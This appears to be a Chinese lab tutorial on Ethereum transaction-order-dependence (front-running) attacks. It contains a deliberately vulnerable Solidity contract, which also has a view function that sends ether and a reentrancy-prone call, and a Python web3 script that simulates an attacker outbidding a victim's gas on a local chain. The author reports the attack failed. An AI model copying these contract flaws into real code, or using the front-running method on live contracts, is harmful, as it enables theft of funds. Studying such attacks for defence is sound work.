原理

以太坊交易生存周期

以太坊交易顺序依赖攻击 - 图1

  1. 发送方构造一个事务并对其进行数字签名。
  2. 发送方通过JSON-RPC调用向以太坊客户端提交签名的交易。
  3. 客户端验证接收到的交易,并将其广播到以太坊P2P网络。
  4. 任何接收到该交易的客户端,并且是一个miner,将该交易添加到其交易池中。
  5. 一个miner执行从其交易池中选择的一系列事务,制定一个新的块,并更新区块链的状态,如下所示。对于转账交易,将指定金额从发送方的EOA转入接收方的EOA或合同账户;对于输入是字节码的合约创建交易,将创建一个新的合约帐户并与字节码关联;对于接收方是被调用契约,输入唯一地标识被调用函数(可能还有一些相关参数)的合约调用事务,与被调用合约帐户相关联的字节码被加载到EVM中。
  6. miner通过找到一个随机的nonce来解决PoW,使得问题块元数据的哈希值小于某个阈值,这反映了创建块的难度。与比特币的计算密集型PoW不同,以太坊使用名为“Ethash”的内存密集型谜题。
  7. 创建区块后,矿工将其广播到以太坊P2P网络,以便其他客户端验证该区块。
  8. 客户端在验证一个数据块后,将该数据块追加到区块链。Trie是用于存储以太坊区块链数据的数据结构(如账户状态)。像Patricia树一样,trie存储键-值对,同时便于搜索,如下所示:从根到叶节点的路径对应于一个键,叶节点包含一个值(例如,帐户的状态)。如图3所示,块头可以指向一个状态try、一个事务try(用于记录事务数据)和一个收据try(用于记录与事务执行相关的数据)。每个合约帐户对应于状态try上的叶子或分支节点,使用单独的存储try来记录契约的持久数据;这个储藏室也用。key-value结构,其中每个插槽的位置对应于一个键,每个插槽中的合约状态变量对应于一个值。

    Nonce相关原理

    为了防止交易重播,ETH(ETC)节点要求每笔交易必须有一个nonce数值,以太坊会给每个账户维护一个nonce。每一个账户从同一个节点发起交易时,这个nonce值从0开始计数,发送一笔nonce对应加1。当前面的nonce处理完成之后才会处理后面的nonce。注意这里的前提条件是相同的地址在相同的节点发送交易。以下是nonce使用的几条规则:● 当nonce太小(小于之前已经有交易使用的nonce值),交易会被直接拒绝。● 当nonce太大,交易会一直处于队列之中,这也就是导致我们上面描述的问题的原因;● 当发送一个比较大的nonce值,然后补齐开始nonce到那个值之间的nonce,那么交易依旧可以被执行。● 当交易处于queue中时停止geth客户端,那么交易queue中的交易会被清除掉。

    以太坊txpool处理原理

    txpool中由两部分构成pending和queued组成。当发送交易Nonce大于完成交易nonce+1时,该交易会在queued中,如果当前发送交易nonce等于完成交易nonce+1时,该交易会被放在pending中等待打包。 ```shell

    取得地址账户的最大nonce值

    eth.getTransactionCount(address)

查看当前txpool中的交易

txpool.content

  1. <a name="wYdKQ"></a>
  2. #### ![](https://cdn.nlark.com/yuque/0/2021/png/479381/1618647256586-40df3629-bfbe-407b-a3cb-b13ab9fa5c04.png#clientId=u36fced04-9069-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=Mwuo5&originHeight=302&originWidth=923&originalType=binary&ratio=1&rotation=0&showTitle=false&size=51375&status=done&style=none&taskId=u24aa7c20-d4aa-44c9-9aba-59880471014&title=)
  3. <a name="m1vY8"></a>
  4. #### 交易顺序依赖攻击原理
  5. 交易进入未确认的交易池,并可能被矿工无序地包含在区块中,这取决于矿工的交易选择标准,有可能是一些旨在从交易费中获取最大收益的算法。因此,打包在区块中的交易顺序与交易生成的顺序完全不同。因此,合约代码无法对交易顺序作出任何假设。因为交易在交易池(mempool)是可见的,其执行是可预测的。在区块链中发起的交易需要经过矿工的打包才能最终记录到链上。<br />攻击者观察池中可能含有目标合约的交易,如若存在,合约中不利于攻击者的状态或者合约的权限就会被攻击者修改。攻击者还可以盗取交易的数据,以更高的Gas价格创建自己的交易,然后将自己的交易打包在原始交易之前的区块中,从而得到交易处理优先权。
  6. <a name="oo34G"></a>
  7. ### 示例
  8. <a name="ADXn8"></a>
  9. #### 攻击场景
  10. owner部署合约gamer,并为合约设置密钥,如果提交正确即可取得合约中的1 ether奖励。现在Alice知道了答案,调用get()函数获取奖励,而Bob是恶意攻击者,通过监听txpool知道了正确答案,于是copy该交易并设置一个更高的gas让矿工先打包自己的交易。
  11. ```javascript
  12. pragma solidity ^0.4.26;
  13. contract game{
  14. address owner;
  15. bool flag;
  16. uint256 password;
  17. // 构造函数,设置owner
  18. function game() public{
  19. owner = msg.sender;
  20. flag=false;
  21. }
  22. // 设置密码并放入金额
  23. function set(uint256 pa) public payable{
  24. password = pa;
  25. }
  26. // 传入密码取出金额
  27. function get(uint256 pa) public view returns(uint256){
  28. if(password == pa){
  29. if(flag==true){
  30. return 0;
  31. }
  32. msg.sender.call.value(this.balance)("");
  33. flag=true;
  34. return 1;
  35. }else{
  36. return 0;
  37. }
  38. }
  39. }

测试过程

  1. import os,json,sys,threading,time
  2. from web3 import Web3,HTTPProvider
  3. class contract:
  4. # 编译合约
  5. def __init__(self,file):
  6. os.system("solcjs "+file+" --bin --abi --optimize")
  7. for fi in os.listdir():
  8. if fi[-3:]=='abi':
  9. os.rename(fi,'tmp.abi')
  10. elif fi[-3:]=='bin':
  11. os.rename(fi,'tmp.bin')
  12. with open('tmp.bin','r') as f:
  13. self.contractBin = "0x"+(f.readlines())[0]
  14. with open('tmp.abi','r') as f:
  15. self.contractAbi = json.loads((f.readlines())[0])
  16. os.remove('tmp.abi')
  17. os.remove('tmp.bin')
  18. print('[!] 合约编译成功...')
  19. # 部署合约
  20. def deploy(self):
  21. self.web3 = Web3(HTTPProvider('http://localhost:60000'))
  22. if not self.web3.isConnected():
  23. exit("[!] 请检查是否开启RPC服务...")
  24. eth = self.web3.eth
  25. self.web3.geth.personal.unlock_account(eth.accounts[0],'123')
  26. self.web3.geth.personal.unlock_account(eth.accounts[2],'789')
  27. self.web3.eth.default_account = eth.accounts[0]
  28. gasValue = eth.estimateGas({'data':self.contractBin})
  29. print("[!] 合约部署预计消耗gas: "+str(gasValue))
  30. tx_hash = eth.contract(
  31. abi=self.contractAbi,
  32. bytecode=self.contractBin).constructor().transact()
  33. receipt=eth.waitForTransactionReceipt(tx_hash)
  34. address = receipt['contractAddress']
  35. print("[!] 合约部署成功,地址: "+str(address))
  36. print("[!] 交易详情:"+str((receipt['transactionHash']).hex()))
  37. self.address = address
  38. self.victim_contract = self.web3.eth.contract(address=self.address, abi=self.contractAbi)
  39. tx_hash = self.victim_contract.functions.set(123).transact({'value':self.web3.toWei(1,"ether")})
  40. #print("[!] 当前合约余额: "+str(self.web3.eth.getBalance(self.address)))
  41. print("--------------当前账户-------------------")
  42. print("Alice: {} ether".format(self.web3.fromWei(int(self.web3.eth.getBalance(self.web3.eth.accounts[2])),"ether")))
  43. print("BOB:{} ether\n".format(self.web3.fromWei(int(self.web3.eth.getBalance(self.web3.eth.accounts[1])),"ether")))
  44. # 受害者
  45. def victim(self):
  46. print('[!] Alice 开始调用合约函数 get() 消耗gas:'+str(40000))
  47. print('[!] Alice 调用get(),取出gamer合约中的ether, tx_hash: '+str(self.web3.toHex((self.victim_contract.functions.get(123).transact({"gas":40000,"from":self.web3.eth.accounts[2]})))))
  48. # 攻击者
  49. def attack(self):
  50. self.web3.geth.personal.unlock_account(self.web3.eth.accounts[1],'456')
  51. print('[!] Bob 发送更高gas=100000抢用,tx_hash: '+str(self.web3.toHex((self.victim_contract.functions.get(123).transact({"from":self.web3.eth.accounts[1],"gas":2000000})))))
  52. if __name__ == "__main__":
  53. ''' python deploy.py test.sol'''
  54. contract = contract(sys.argv[1])
  55. contract.deploy()
  56. input("请先暂停挖矿...")
  57. contract.victim()
  58. contract.attack()
  59. input("请开启挖矿...")
  60. print("--------------更新后账户-------------------")
  61. print("Alice: {} ether".format(contract.web3.fromWei(contract.web3.eth.getBalance(contract.web3.eth.accounts[2]),"ether")))
  62. print("Bob:{} ether\n".format(contract.web3.fromWei(contract.web3.eth.getBalance(contract.web3.eth.accounts[1]),"ether")))

以太坊交易顺序依赖攻击 - 图2
从结果显示,Bob抢用失败,交易顺序依赖未执行成功,然而从txpool中pending查看,可以看到两个交易中Bob的交易花费的gas是要远大于Alice的。
以太坊交易顺序依赖攻击 - 图3
怀疑是geth的问题,经过查询增加启动参数: --txpool.nolocals 该参数禁止对本地提交的事务进行gas价格豁免。调试依旧存在问题,同时尝试了其它txpool启动参数,无果。

  1. geth --datadir "chain" --nodiscover --txpool.nolocals --txpool.pricebump 2 --txpool.globalslots 1 --txpool.accountslots 1 --http --http.addr 127.0.0.1 --http.port 60000 --http.api eth,web3,admin,personal,net --allow-insecure-unlock console 2>>output.log

防护

交易顺序依赖攻击单对合约而言,只要合约编写者考虑到以太坊交易顺序是可控的,就可以避免该攻击。